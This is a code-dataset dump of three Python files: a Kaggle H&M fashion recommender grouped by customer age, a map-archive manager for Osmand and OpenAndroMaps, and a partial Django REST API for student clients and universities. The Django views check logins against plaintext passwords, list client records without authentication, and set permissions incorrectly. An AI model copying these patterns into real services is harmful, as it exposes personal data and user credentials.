"pt": "86", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 17, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.CFNProjectMain", "line_number": 20, "usage_type": "name"}, {"api_name": "e3.aws.troposphere.iam.role.Role", "line_number": 27, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.Stack", "line_number": 23, "usage_type": "name"}, {"api_name": "e3.aws.AWSEnv", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}]} +{"seq_id": "9963210854", "text": "from datetime import timedelta\nfrom sqlite3 import Timestamp\nfrom time import time\nfrom typing import Dict, List, Tuple\nfrom flask import Config\nimport pandas as pd\nfrom more_itertools import last\nfrom my_class.dataset import DataSet\nfrom utils.useful_func import iter_to_str\nimport numpy as np\nfrom tqdm import tqdm\nfrom config import Config\n\nINPUT_DIR = r\"input\"\nDRIVE_DIR = r'/content/drive/MyDrive/Colab Notebooks/kaggle/H_and_M_Personalized_Fashion_Recommendations'\n\n\nclass RuleBaseByCustomerAge:\n\n def __init__(self, transaction_train: pd.DataFrame, dataset: DataSet, val_week_id: int, k: int = 12) -> None:\n # インスタンス変数(属性の初期化)\n self.dataset = dataset\n self.transaction_train = transaction_train\n self.df_u = dataset.dfu[['customer_id_short', 'age']]\n self.ALL_ITEMS = []\n self.ALL_USERS = []\n self.hyper_params = {}\n self.val_week_id = val_week_id\n self.k = k\n\n def _grouping_each_age(self):\n \"\"\"ユーザを年齢層毎にグルーピング\n \"\"\"\n self.ageBin = [-1, 19, 29, 39, 49, 59, 69, 119]\n self.df_u['age_bins'] = pd.cut(\n x=self.df_u['age'],\n bins=self.ageBin\n )\n\n def _extract_recent_transaction(self):\n \"\"\"最近(直近三週間)のトランザクションのみを抽出。\n \"\"\"\n # 最近(直近三週間)のトランザクションのみを抽出。\n last_date = self.transaction_train['t_dat'].max()\n init_date = pd.to_datetime(last_date) - timedelta(days=21)\n\n self.df_recent_t = self.transaction_train.loc[\n self.transaction_train['t_dat'] >= init_date\n ]\n\n def _add_age_bin_to_recent_transaction(self):\n \"\"\"トランザクションデータに年齢層ビンを付与。\n \"\"\"\n self.df_recent_t = pd.merge(\n left=self.df_recent_t,\n right=self.df_u[['customer_id_short', 'age_bins']],\n on='customer_id_short',\n how='inner'\n )\n\n def _count_recent_popular_articles_of_each_ages(self):\n\n # 年齢層毎に、各アイテムの売り上げをカウント\n self.recent_popular_items_with_ages = self.df_recent_t.groupby(\n by=['age_bins', 'article_id']).count().reset_index()\n # カラム名を変更\n self.recent_popular_items_with_ages.rename(\n columns={'customer_id_short': 'counts'},\n inplace=True\n )\n\n # age_binsのユニーク値のリストを保存\n self.list_UniBins = self.recent_popular_items_with_ages['age_bins'].unique(\n ).tolist()\n\n pass\n\n def preprocessing(self):\n self._grouping_each_age()\n # self._extract_recent_transaction()\n # self._add_age_bin_to_recent_transaction()\n # self._count_recent_popular_articles_of_each_ages()\n\n def _f1_extract_df_customer_each_age_bin(self, unique_age_bin: str):\n \"\"\"各年齢ビンに該当するdf_customerを抽出する。\n\n Parameters\n ----------\n unique_age_bin : str\n 年齢ビン\n \"\"\"\n if str(unique_age_bin) == 'nan':\n self.df_u_each_age_bin = self.df_u[self.df_u['age_bins'].isnull()]\n else:\n self.df_u_each_age_bin = self.df_u[self.df_u['age_bins']\n == unique_age_bin]\n\n # age_binsカラムを落とす.\n self.df_u_each_age_bin.drop(['age_bins'], axis=1, inplace=True)\n\n def _f2_merge_transaction_df_and_df_u_each_age_bin(self, unique_age_bin: str):\n \"\"\"対象Agebinユーザのトランザクションのみを取り出す\n\n Parameters\n ----------\n unique_age_bin : str\n _description_\n \"\"\"\n self.df_t_each_agebin = pd.merge(\n left=self.transaction_train,\n right=self.df_u_each_age_bin,\n on='customer_id_short',\n how='inner'\n )\n print(\n f'The shape of scope transaction for {unique_age_bin} is {self.df_t_each_agebin.shape}. \\n')\n\n def _f3_create_ldbw_column(self):\n \"\"\"「トランザクションの最終日から何週間前か」を表現するを意味する\"ldbw\"(last_day_of_bought_week)カラムを作る\n \"\"\"\n\n # トランザクションログの最終日を取得\n self.last_ts = self.df_t_each_agebin['t_dat'].max()\n # 曜日カラムを生成。dayofweek属性は、曜日のindex(月曜=0, 日曜=6)を返す。\n self.df_t_each_agebin['dow'] = self.df_t_each_agebin['t_dat'].dt.dayofweek\n # 最終日は何曜日？？=>1=火曜日\n dow_last_ts = self.last_ts.day_of_week\n\n # 'ldbw'カラムを生成。\n # (TimedeltaIndexは、timedeltaの各要素に適用するVer)\n # (もしt_datが火曜日の場合は、ldbw=t_dat)\n # (もしt_datが月曜日の場合は、ldbw=t_dat-(-1)=t_dat+1=火曜日)\n self.df_t_each_agebin['ldbw'] = (\n self.df_t_each_agebin['t_dat']\n - pd.TimedeltaIndex(data=self.df_t_each_agebin['dow'] - dow_last_ts, unit='D')\n )\n\n # t_datが水曜日以降のレコードの場合は、次の週(次の火曜日)としてldbwをカウントする\n self.df_t_each_agebin.loc[self.df_t_each_agebin['dow'] >= 2, 'ldbw'] = (\n self.df_t_each_agebin.loc[self.df_t_each_agebin['dow'] >= 2, 'ldbw']\n + pd.TimedeltaIndex(data=np.ones(len(self.df_t_each_agebin.loc[self.df_t_each_agebin['dow'] >= 2])) * 7, unit='D')\n )\n\n def _f4_1_calculate_weekly_sales(self):\n # 各アイテムのWeeklySalesを取得\n self.weekly_sales = self.df_t_each_agebin.groupby(\n ['ldbw', 'article_id'])['t_dat'].count().reset_index()\n\n self.weekly_sales = self.weekly_sales.rename(\n columns={'t_dat': 'count'})\n\n # トランザクションログにweekly_salesをマージ\n self.df_t_each_agebin = pd.merge(\n left=self.df_t_each_agebin,\n right=self.weekly_sales,\n on=['ldbw', 'article_id'],\n how='left'\n )\n\n def _f4_2_calculate_count_targ(self):\n self.weekly_sales = self.weekly_sales.reset_index().set_index('article_id')\n\n # count_targカラムを生成\n self.df_t_each_agebin = pd.merge(\n left=self.df_t_each_agebin,\n right=self.weekly_sales.loc[self.weekly_sales['ldbw']\n == self.last_ts, ['count']],\n on='article_id',\n # 列名が重複している場合の処理(デフォルトは'_x', '_y')\n suffixes=(\"\", \"_targ\")\n )\n\n # count_targカラムの欠損を埋める\n self.df_t_each_agebin['count_targ'].fillna(0, inplace=True)\n del self.weekly_sales\n\n def _f4_3_calculate_quotient(self):\n self.df_t_each_agebin['quotient'] = (\n self.df_t_each_agebin['count_targ']/self.df_t_each_agebin['count']\n )\n\n def _f5_create_general_pred(self):\n \"\"\"quotientの各アイテム毎の合計値を算出し、上位k個をgeneral_predとする。\n \"\"\"\n # 各アイテム毎のquotientの合計値を算出\n target_sales = self.df_t_each_agebin.drop(\n 'customer_id_short', axis=1).groupby('article_id')['quotient'].sum()\n # quotientの合計値の大きい、上位12商品のarticle_id(dfのindexになってる)を取得\n self.general_pred = target_sales.nlargest(n=12).index.tolist()\n\n # article_idを提出用に整形\n self.general_pred = [str(article_id).zfill(10) for article_id in self.general_pred]\n print(f'general pred is {self.general_pred}')\n del target_sales\n\n def _f6_conduct_byfone_2(self):\n \"\"\"同じアイテムを再度レコメンドする戦略\n \"\"\"\n self.purchase_dict = {}\n df = self.df_t_each_agebin\n # Byfone戦略2つ目\n for i in tqdm(df.index):\n cust_id = df.at[i, 'customer_id_short']\n art_id = df.at[i, 'article_id']\n t_dat = df.at[i, 't_dat']\n\n if cust_id not in self.purchase_dict:\n self.purchase_dict[cust_id] = {}\n\n if art_id not in self.purchase_dict[cust_id]:\n self.purchase_dict[cust_id][art_id] = 0\n\n # x：ユーザAがアイテムBを購入した日からトランザクションログ最終日までの経過日数。\n x = max(1, (self.last_ts - t_dat).days)\n\n # y:cによって減衰する値\n # (xが小さい＝yが大きいと、顧客が短期間に同じ製品を購入することを意味する?)\n a, b, c, d = 2.5e4, 1.5e5, 2e-1, 1e3\n y = a / np.sqrt(x) + b * np.exp(-c*x) - d\n\n # value : y * quotient\n # (顧客が同じ商品を短期間購入し(=yが大きい)、且つその商品の成長率が高ければ(=quotientが大きい)、さらに購入すると予想される。)\n value = df.at[i, 'quotient'] * max(0, y)\n self.purchase_dict[cust_id][art_id] += value\n\n\n # tmp = self.df_t_each_agebin.copy()\n # # x：ユーザAがアイテムBを購入した日からトランザクションログ最終日までの経過日数。\n # tmp['x'] = ((self.last_ts - tmp['t_dat']) /\n # np.timedelta64(1, 'D')).astype(int)\n # # yの計算の準備\n # tmp['dummy_1'] = 1\n # tmp['x'] = tmp[[\"x\", \"dummy_1\"]].max(axis=1)\n # a, b, c, d = 2.5e4, 1.5e5, 2e-1, 1e3\n # # y:cによって減衰する値(xが小さい＝yが大きいと、顧客が短期間に同じ製品を購入することを意味する?)\n # tmp['y'] = a / np.sqrt(tmp['x']) + b * np.exp(-c*tmp['x']) - d\n # tmp['dummy_0'] = 0\n # tmp['y'] = tmp[[\"y\", \"dummy_0\"]].max(axis=1)\n \n # # value : y * quotient\n # # (顧客が同じ商品を短期間購入し(=yが大きい)、且つその商品の成長率が高ければ(=quotientが大きい)、さらに購入すると予想される。)\n # tmp['value'] = tmp['quotient'] * tmp['y']\n\n # # ユーザA、アイテムBに関するvalueの合計値を取得\n # tmp = tmp.groupby(['customer_id_short', 'article_id']\n # ).agg({'value': 'sum'})\n # tmp = tmp.reset_index()\n # tmp = tmp.loc[tmp['value'] > 0]\n\n # # 各ユーザA、アイテムBに対して、「valueの合計値」の上位12個のみを候補として残す。\n # tmp['rank'] = tmp.groupby(\"customer_id_short\")[\n # \"value\"].rank(\"dense\", ascending=False)\n # tmp = tmp.loc[tmp['rank'] <= 12]\n\n # # 各ユーザ毎に、valueが高いアイテムを取り出す作業。\n # self.purchase_df = tmp.sort_values(\n # ['customer_id_short', 'value'], ascending=False).reset_index(drop=True)\n # self.purchase_df['prediction'] = (\n # [str(self.purchase_df['article_id']).zfill(10)]\n # )\n # self.purchase_df = self.purchase_df.groupby(\n # 'customer_id_short').agg({'prediction': sum}).reset_index()\n # self.purchase_df['prediction'] = self.purchase_df['prediction'].str.strip()\n\n def _f7_conduct_recommendation(self, uniBin):\n sub = self.dataset.df_sub[['customer_id_short', 'customer_id']].copy()\n self.numCustomers = sub.shape[0]\n self.k:int = Config.num_recommend_item\n\n # 対象のage binのユーザのみ残す\n sub = pd.merge(\n left=sub, right=self.df_u_each_age_bin[[\n 'customer_id_short', 'age']],\n on='customer_id_short', how='inner',\n )\n\n # 両者のレコメンド結果を結合\n pred_list = []\n for cust_id in tqdm(sub['customer_id_short']):\n # もしユーザidがpurchase_dictにあれば=トランザクションログに含まれていれば...\n if cust_id in self.purchase_dict:\n series = pd.Series(self.purchase_dict[cust_id])\n series = series[series > 0]\n # valueの多い上位12個のarticle_idをリストで取得\n l = series.nlargest(self.k).index.tolist()\n # もしレコメンド数が足りなければGeneralPred\n if len(l) < self.k:\n l = l + self.general_pred[:(self.k-len(l))]\n # もしユーザidがpurchase_dictになければ=トランザクションログに含まれていなければ...\n else:\n l = self.general_pred\n\n # リストを文字列に変換\n pred_list.append(' '.join([str(x).zfill(10) for x in l]))\n\n # 提出用に整形\n sub['prediction'] = pred_list\n\n # sub = pd.merge(\n # left=sub, right=self.purchase_df,\n # on='customer_id_short', how='left',\n # suffixes=('', '_ignored')\n # )\n # # レコメンドの不足分を補完\n # sub['prediction'] = sub['prediction'].fillna(self.general_pred)\n # sub['prediction'] = sub['prediction'] + ' ' + self.general_pred_str\n # # 両端（先頭、末尾）の半角スペース文字を削除\n # sub['prediction'] = sub['prediction'].str.strip(' ')\n # # 12個にする\n # sub['prediction'] = sub['prediction'][:131] # 一旦リストに\n\n # 最終的には2つのカラムにする。\n sub = sub[['customer_id_short', 'prediction']]\n # 一旦エクスポート\n sub.to_csv(f'submission_' + str(uniBin) + '.csv', index=False)\n print(f'Saved prediction for {uniBin}. The shape is {sub.shape}. \\n')\n print('-'*50)\n\n def create_reccomendation(self):\n\n # 各年齢Bin毎に繰り返し処理\n for unique_age_bin in self.list_UniBins:\n self._f1_extract_df_customer_each_age_bin(unique_age_bin)\n self._f2_merge_transaction_df_and_df_u_each_age_bin(unique_age_bin)\n self._f3_create_ldbw_column()\n self._f4_1_calculate_weekly_sales()\n self._f4_2_calculate_count_targ()\n self._f4_3_calculate_quotient()\n self._f5_create_general_pred()\n self._f6_conduct_byfone_2()\n self._f7_conduct_recommendation(unique_age_bin)\n\n # 各年齢bin毎の結果を結合\n self.df_sub = self.dataset.df_sub[[\n 'customer_id_short', 'customer_id']].copy()\n\n for i, unique_age_bin in enumerate(self.list_UniBins):\n df_temp = pd.read_csv(\n f'submission_' + str(unique_age_bin) + '.csv')\n\n self.df_sub = pd.merge(self.df_sub, df_temp, how='left',\n on='customer_id_short')\n\n # もし欠損のあるユーザがいれば、''を埋める\n self.df_sub['prediction'].fillna(value='', inplace=True)\n\n # エラーメッセージ(もしレコメンド結果の長さが違ったら)\n assert self.df_sub.shape[\n 0] == self.numCustomers, f'The number of dfSub rows is not correct. {self.df_sub.shape[0]} vs {self.numCustomers}.'\n\n # 最終的には3つのカラムにする.\n self.df_sub = self.df_sub[[\n 'customer_id_short', 'customer_id', 'prediction']]\n\n return self.df_sub\n\n\nif __name__ == '__main__':\n pass\n", "repo_name": "morinota/H_and_M_Personalized_Fashion_Recommendations", "sub_path": "models/RuleBase_by_customer_age.py", "file_name": "RuleBase_by_customer_age.py", "file_ext": "py", "file_size_in_byte": 15419, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.DataFrame", "line_number": 20, "usage_type": "attribute"}, {"api_name": "my_class.dataset.DataSet", "line_number": 20, "usage_type": "name"}, {"api_name": "pandas.cut", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.TimedeltaIndex", "line_number": 135, "usage_type": "call"}, {"api_name": "pandas.TimedeltaIndex", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 141, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 153, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 164, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 219, "usage_type": "call"}, {"api_name": "config.Config.num_recommend_item", "line_number": 268, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 268, "usage_type": "name"}, {"api_name": "pandas.merge", "line_number": 271, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 279, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 282, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 338, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 341, "usage_type": "call"}]} +{"seq_id": "70814417563", "text": "from __future__ import division\nfrom __future__ import absolute_import \n\nimport time\nimport os\nimport fnmatch\nfrom os import path\nimport zipfile\nimport datetime\n\nfrom mob_map_dl.common import MapMeta, TextProgressBar, PartFile\n\n\n#Set up logging fore useful debug output, and time stamps in UTC.\nimport logging\nlogging.basicConfig(format='%(asctime)s: %(levelname)s: %(message)s', \n level=logging.DEBUG)\n#Time stamps must be in UTC\nlogging.Formatter.converter = time.gmtime\n\n\nclass BaseManager(object):\n \"\"\"\n Base class for local manager objects.\n \"\"\"\n def __init__(self, _application_dir=None):\n \"\"\"\n Object is initialized with the application's directory by top level, \n computes its own sub-directory, and stores it.\n \"\"\"\n self.download_dir = \"\"\n #Path to directory where the maps are stored. Is accessed by command: \n # ``dlmap lsd -l`` \n \n #--- Called by high level algorithms -------------------------------\n def make_disp_name(self, file_path):\n \"\"\"Create canonical (display) name from path of map.\"\"\"\n raise NotImplementedError()\n \n def make_full_name(self, disp_name):\n \"\"\"Create path for map from its canonical (display) name.\"\"\"\n raise NotImplementedError()\n \n def get_file_list(self):\n \"\"\"\n Return a list of locally stored maps. \n \n Return\n -------\n \n list[MapMeta]\n \"\"\"\n raise NotImplementedError()\n \n def extract_map(self, arch_path, map_path, disp_name):\n \"\"\"\n Extract a map from its downloaded archive.\n \n Relies on ``get_map_extractor`` which creates a file like object to\n extract the map from the archive. \n \n Arguments\n ---------\n \n arch_path: str\n Path of the archive that contains the map.\n \n map_path: str\n Path where the extracted map should be stored. For example\n a mobile device's SD card.\n \n disp_name: str\n Canonical name of the map. Used in the progress bar.\n \"\"\"\n fext = PartFile(map_path, \"wb\")\n fzip, size_total, _ = self.get_map_extractor(arch_path)\n \n size_mib = round(size_total / 1024**2, 1)\n msg = \"{name} : {size} MiB\".format(name=disp_name[0:50], size=size_mib)\n progress = TextProgressBar(msg, val_max=size_total)\n progress.update_val(0)\n \n buff_size = 1024**2 * 10\n size_down = 0\n while True:\n progress.update_val(size_down)\n buf = fzip.read(buff_size)\n if not buf:\n break\n fext.write(buf)\n size_down += len(buf)\n \n fzip.close()\n fext.close()\n progress.update_final(size_down, \"Installed\")\n \n # --- Used internally -----------------------------------------------\n def get_map_extractor(self, archive_path):\n \"\"\"\n Create file like object, that extracts the map from the zip file.\n Additionally returns some metadata. \n \n This function knows the internal structure of the archives that \n contain the maps. \n \n Called by ``extract_map`` and get_file_list``.\n \n Argument\n --------\n \n archive_path: str\n Path to archive that contains the map.\n \n Returns\n -------\n \n fzip: file like object\n Object that extracts a map from a zip file. Behaves like a file.\n \n size_total: int\n Uncompressed size of the map.\n \n mod_time: date_time.date_time\n Modification time of the map, from the zip archive.\n \"\"\"\n raise NotImplementedError()\n \n def get_file_list_base(self, filter_pattern):\n \"\"\"\n Return a list of locally stored maps. Maps are searched in \n ``self.download_dir``.\n \n Argument\n --------\n \n filter_pattern: str\n pattern with wildcards to filter the filenames in \n ``self.download_dir``. For example: \"*.map\".\n \n Returns\n -------\n \n list[MapMeta]\n \"\"\"\n dir_names = os.listdir(self.download_dir)\n map_names = fnmatch.filter(dir_names, filter_pattern)\n map_names.sort()\n \n map_metas = []\n for name in map_names:\n archive_name = path.join(self.download_dir, name)\n disp_name = self.make_disp_name(name)\n _, size_total, date_time = self.get_map_extractor(archive_name)\n map_meta = MapMeta(disp_name=disp_name, \n full_name=archive_name, \n size=size_total, \n time=date_time, \n description=\"\", \n map_type=None)\n map_metas.append(map_meta)\n \n return map_metas\n \nclass OsmandManager(BaseManager):\n \"\"\"\n Manage locally stored maps for Osmand.\n \"\"\" \n def __init__(self, application_dir):\n BaseManager.__init__(self)\n# self.application_dir = application_dir\n self.download_dir = path.join(application_dir, \"osmand\")\n \n #Create own subdir of download dir if it does not exist.\n if not path.exists(self.download_dir):\n os.mkdir(self.download_dir)\n\n def make_disp_name(self, file_name_path):\n \"\"\"\n Create a canonical name from a file name or path of a locally stored\n zipped map. \n The canonical name is used in the user interface.\n \n The canonical name has the form:\n \"osmand/Country_Name.obf\" or\n \"osmand/Language.voice\"\n \"\"\"\n _, file_name = path.split(file_name_path)\n disp_name = \"osmand/\" + file_name.rsplit(\".\", 1)[0]\n return disp_name\n \n def make_full_name(self, disp_name):\n \"\"\"\n Create a path to a locally stored map from its canonical name. \n \"\"\"\n _, fname = path.split(disp_name)\n full_name = path.join(self.download_dir, fname + \".zip\")\n return full_name\n \n def get_file_list(self):\n \"\"\"\n Return a list of locally stored maps. Maps are searched in \n ``self.download_dir``.\n \n Return\n -------\n \n list[MapMeta]\n \"\"\"\n return self.get_file_list_base(\"*.obf.zip\")\n \n def get_map_extractor(self, archive_path):\n \"\"\"\n Create file like object, that extracts the map from the zip file.\n Additionally returns some metadata. \n \n This function knows the internal structure of the archives that \n contain the maps. \n \n Argument\n --------\n \n archive_path: str\n Path to archive that contains the map.\n \n Returns\n -------\n \n fzip: file like object\n Object that extracts a map from a zip file. Behaves like a file.\n \n size_total: int\n Uncompressed size of the map.\n \n mod_time: date_time.date_time\n Modification time of the map, from the zip archive.\n \"\"\"\n zip_container = zipfile.ZipFile(archive_path, \"r\")\n# zip_fnames = zip_container.namelist()\n# print zip_fnames\n zip_finfos = zip_container.infolist()\n zip_fname = zip_finfos[0].filename\n size_total = zip_finfos[0].file_size\n mod_time = datetime.datetime(*zip_finfos[0].date_time)\n fzip = zip_container.open(zip_fname, \"r\")\n \n return fzip, size_total, mod_time\n\n\nclass OpenandromapsManager(BaseManager):\n \"\"\"\n Manage locally stored maps for Openandromap.\n \"\"\" \n def __init__(self, application_dir):\n BaseManager.__init__(self)\n# self.application_dir = application_dir\n self.download_dir = path.join(application_dir, \"oam\")\n \n #Create own subdir of download dir if it does not exist.\n if not path.exists(self.download_dir):\n os.mkdir(self.download_dir)\n \n def make_disp_name(self, file_name_path):\n \"\"\"\n Create a canonical name (display name) from a path of a locally \n stored zipped map. \n \n The canonical name is used in the user interface.\n \"\"\"\n _, file_name = path.split(file_name_path)\n disp_name = \"oam/\" + file_name.rsplit(\".\", 1)[0]\n return disp_name\n \n def make_full_name(self, disp_name):\n \"\"\"\n Create a path to a locally stored map from its canonical name \n (display name). \n \n The canonical name has the form:\n \"oam/europe_France_North\"\n \"oam/asia_Kazakhstan\"\n \n The full name has the form:\n \"app-download-dir/oam/europe_France_North.zip\"\n \"app-download-dir/oam/asia_Kazakhstan.zip\"\n \"\"\"\n _, fname = disp_name.split(\"/\")\n full_name = path.join(self.download_dir, fname + \".zip\")\n return full_name\n \n def get_file_list(self):\n \"\"\"\n Return a list of locally stored maps. Maps are searched in \n ``self.download_dir``.\n \n Return\n -------\n \n list[MapMeta]\n \"\"\"\n return self.get_file_list_base(\"*.zip\")\n \n def get_map_extractor(self, archive_path):\n \"\"\"\n Create file like object, that extracts the map from the zip file.\n Additionally returns some metadata. \n \n This function knows the internal structure of the archives that \n contain the maps. \n \n Argument\n --------\n \n archive_path: str\n Path to archive that contains the map.\n \n Returns\n -------\n \n fzip: file like object\n Object that extracts a map from a zip file. Behaves like a file.\n \n size_total: int\n Uncompressed size of the map.\n \n mod_time: date_time.date_time\n Modification time of the map, from the zip archive.\n \"\"\"\n zip_container = zipfile.ZipFile(archive_path, \"r\")\n# zip_fnames = zip_container.namelist()\n# print zip_fnames\n zip_finfos = zip_container.infolist()\n \n for map_info in zip_finfos:\n if map_info.filename.endswith(\".map\"):\n break\n else:\n raise ValueError(\"No *.map file found in archive.\")\n \n zip_fname = map_info.filename #IGNORE:W0631\n size_total = map_info.file_size #IGNORE:W0631\n mod_time = datetime.datetime(*map_info.date_time) #IGNORE:W0631\n fzip = zip_container.open(zip_fname, \"r\")\n \n return fzip, size_total, mod_time\n \n\n ", "repo_name": "eike-welk/mobile_map_downloader", "sub_path": "src/mob_map_dl/local.py", "file_name": "local.py", "file_ext": "py", "file_size_in_byte": 10978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.basicConfig", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 19, "usage_type": "attribute"}, {"api_name": "time.gmtime", "line_number": 19, "usage_type": "attribute"}, {"api_name": "mob_map_dl.common.PartFile", "line_number": 75, "usage_type": "call"}, {"api_name": "mob_map_dl.common.TextProgressBar", "line_number": 80, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 145, "usage_type": "call"}, {"api_name": "fnmatch.filter", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "name"}, {"api_name": "mob_map_dl.common.MapMeta", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path", "line_number": 171, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path", "line_number": 187, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 196, "usage_type": "call"}, {"api_name": "os.path", "line_number": 196, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 237, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 256, "usage_type": "call"}, {"api_name": "os.path", "line_number": 256, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path", "line_number": 259, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 269, "usage_type": "call"}, {"api_name": "os.path", "line_number": 269, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 287, "usage_type": "call"}, {"api_name": "os.path", "line_number": 287, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 328, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 341, "usage_type": "call"}]} +{"seq_id": "73490445084", "text": "import json\nfrom django.shortcuts import render\nfrom rest_framework.parsers import MultiPartParser\nfrom rest_framework.generics import CreateAPIView\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import permissions\nfrom rest_framework import status\nfrom django.core import serializers\nfrom drf_yasg.utils import swagger_auto_schema\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .serializers import ClientSerializer, UserSerializer, ClientGetSerializer, GetUniverView, UniversitySerializer, \\\n ConsultingSerializer, GetConsultingSerializer, GetConsultClients, GetUniverClients\nfrom .models import User, Clients, University, Consulting\nfrom django.utils.decorators import method_decorator\n\n\n# Create your views here.\n\n# API for get one student with search by email\nclass Clientview(APIView): # for post new client\n serializer_class = ClientGetSerializer\n queryset = Clients\n permission_classes = ['permissions.IsAdminUser',]\n\n def post(self, request, email, *args, **kwargs):\n user = Clients.objects.filter(email=email).first()\n if user:\n serialized_user = serializers.serialize('json', [user])\n return Response(serialized_user, content_type='application/json')\n else:\n return Response(\"Bunday student mavjud emas!\")\n\n\n@method_decorator(csrf_exempt, name='dispatch') # Apply the csrf_exempt decorator\nclass ClientPostView(CreateAPIView):\n serializer_class = ClientSerializer\n queryset = Clients.objects.all()\n parser_classes = [MultiPartParser]\n\n @swagger_auto_schema(request_body=ClientSerializer)\n def post(self, request, *args, **kwargs):\n university = request.POST.get('university')\n faculty = request.POST.get('faculty')\n study_time = request.POST.get('study_time')\n if University.objects.filter(ID_raqam=university, faculty=faculty, time_study=study_time).exists():\n serializer = ClientSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response({\n \"status\": \"200.OK\",\n \"data\": serializer.data\n })\n else:\n return Response({\n \"status\": \"400 Bad Request\",\n \"errors\": serializer.errors\n })\n else:\n return Response(\"Bunday universitet yoq\")\n\n\n# API for get all students for consult\nclass ClientsGetView(APIView):\n serializer_class = ClientSerializer\n queryset = Clients\n\n def get(self, request):\n cliens = Clients.objects.all()\n serializer = ClientSerializer(cliens, many=True)\n return Response(serializer.data)\n\n\n# API for loginpage\nclass LoginWorkersView(APIView):\n serializer = UserSerializer\n queryset = User\n\n @swagger_auto_schema(request_body=UserSerializer)\n def post(self, request):\n ID_raqam = request.data['ID_raqam']\n password = request.data['password']\n user = User.objects.filter(ID_raqam=ID_raqam, password=password)\n if user.exists():\n serializers = UserSerializer(data=request.data)\n if serializers.is_valid():\n serializers.save()\n return Response(serializers.data)\n else:\n return Response(serializers.errors)\n else:\n return Response(\"Bunday foydalanuvchi topilmadi(\")\n\n\nclass GetConsultClients(APIView):\n serializer_class = ClientSerializer\n\n @swagger_auto_schema(request_body=GetConsultClients)\n def post(self, request):\n quiz = request.data.get('ID_raqam')\n client = Clients.objects.filter(consulting=quiz).all()\n serializer = ClientSerializer(client, many=True)\n return Response(serializer.data)\n\n\n# API for get student for univer(without contacts)\nclass UniverGetView(APIView):\n serializer = GetUniverView\n queryset = Clients\n\n @swagger_auto_schema(request_body=GetUniverClients)\n def post(self, request):\n quiz = request.data.get('ID_raqam')\n client = Clients.objects.filter(university=quiz).all()\n serializer = GetUniverView(client, many=True)\n return Response(serializer.data)\n\n\n# API to add new universities\nclass UniversityView(APIView):\n serializer = UniversitySerializer\n queryset = University\n\n @swagger_auto_schema(request_body=UniversitySerializer)\n def post(self, request):\n serializers = UniversitySerializer(data=request.data)\n if serializers.is_valid():\n serializers.save()\n return Response({\n \"status\": \"200.OK\",\n \"data\": serializers.data\n })\n else:\n return Response({\n \"status\": \"400 Bad Request\",\n \"errors\": serializers.errors\n })\n\n\n# API for choise field of universities\nclass UniversityGet(APIView):\n def get(self, request):\n univer = University.objects.all()\n serializer = UniversitySerializer(univer, many=True)\n return Response(serializer.data)\n\n\n# API for get all consultings\nclass GetConsultings(APIView):\n serializer_class = ConsultingSerializer\n queryset = Consulting\n\n def get(self, request):\n data = Consulting.objects.all()\n serializer = ConsultingSerializer(data, many=True)\n return Response(serializer.data)\n\n\n# API for get one consulting data\nclass GetConsulting(APIView):\n serializer_class = ConsultingSerializer\n queryset = Consulting\n\n 